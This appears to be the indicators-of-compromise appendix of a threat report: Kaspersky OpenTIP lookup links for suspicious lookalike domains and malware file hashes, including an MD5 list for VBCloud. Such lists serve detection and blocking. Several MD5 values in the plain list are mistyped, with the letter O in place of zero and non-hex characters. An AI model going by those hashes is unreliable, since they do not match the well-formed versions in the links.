https://opentip.kaspersky.com/gosportal.net/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______bbc26d873c6045e6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/riamir.net/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a44e2ddc4e841151&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/web-wathapp.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______25281d30d7046ae6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/yandisk.info/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______80bad7ea4c7f5cd6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/yandesktop.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______8e71bc495ba4ae17&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/web-wathapp.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______25281d30d7046ae6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/9D3557CC5C444FE5D73E4C7FE1872414/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______8659faf71d10489b&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/CBA05E11CB9D1D71F0FA70ECD1AF2480/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______3751e0c12a087796&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/CBFB691E95EE34A324F94ED1FF91BC23/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______22a6f299875fcd4f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/2D24044C0A5B9EBE4E01DED2BFC2B3A4/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______7c4f121f529874f8&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/88BE01F8C4A9F335D33FA7C384CA4666/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______89c83b428bbb57d5&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/A30319545FDA9E2DA0532746C09130EB/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______64080ba53f73b0ea&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/15FD46AC775A30B1963281A037A771B1/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______35a4dcda21c94b74&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/31B01387CA60A1771349653A3C6AD8CA/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e0c3e37e525d34ef&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/389BC3B9417D893F3324221141EDEA00/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______14fec13010fe2478&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/AA8DA99D5623FAFED356A14E59ACBB90/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______cb99ee6fc514c102&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/016B6A035B44C1AD10D070ABCDFE2F66/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______de0f19990f29787f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/160A65E830EB97AAE6E1305019213558/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d8042ced7c777a1f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/184CF8660AF7538CD1CD2559A10B6622/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______24743e5ff2ab69d7&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/1AF1F9434E4623B7046CF6360E0A520E/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______19af2aa1587686e5&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/1BFB9CBA8AA23A401925D356B2F6E7ED/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______edb7b83d4eeef509&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/21585D5881CC11ED1F615FDB2D7ACC11/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______6d793564ceac88ed&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/242E86E658FE6AB6E4C81B68162B3001/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______db7fb0d5922a2709&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/2FE7E75BC599B1C68B87CF2A3E7AA51F/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______7dad9da9a54e2128&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/36DD0FBD19899F0B23ADE5A1DE3C2FEC/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______cdad80d63cf79ade&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/389F6E6FD9DCC84C6E944DC387087A56/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c33a997f5f6f963a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/3A54ACD967DD104522BA7D66F4D86544/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1b50520896ed2086&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/3F12BF4A8D82654861B5B5993C012BFA/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______7d125285cd0aea13&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/49F8ED13A8A13799A34CC999B195BF16/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______33fed6b5bdc78958&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/4B96DC735B622A94D3C74C0BE9858853/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______caca3a2c6702d005&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/F45008BF1889A8655D32A0EB93B8ACDD/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______afe4f10a4d9a2e4c&utm_source=SL&utm_medium=SL&utm_campaign=SL

VBCloud MD5
0139F32A523D453BC338A67CA45C224D
01DB58A1DOEC85ADC13290A6290AD9D6
OF37E1298E4C82098DC9318C7E65F9D2
6FCEE9878216019C8DFA887075C5EGSE
D445D443ACE329FB244EDC3E5146313B
F3F28018FB5108B516D802A038F90BDE
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https://opentip.kaspersky.com/0139F32A523D453BC338A67CA45C224D/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e21161063692541f&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/01DB58A1D0EC85ADC13290A6290AD9D6/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______2af426220ea0dc58&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/0F37E1298E4C82098DC9318C7E65F9D2/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______eeab9887645d17d0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/6FCEE9878216019C8DFA887075C5E68E/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______a25f55e1b7c56103&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/D445D443ACE329FB244EDC3E5146313B/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e50802f6cd16810a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/F3F28018FB5108B516D802A038F90BDE/results?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______473d24859fcfa3ba&utm_source=SL&utm_medium=SL&utm_campaign=SL

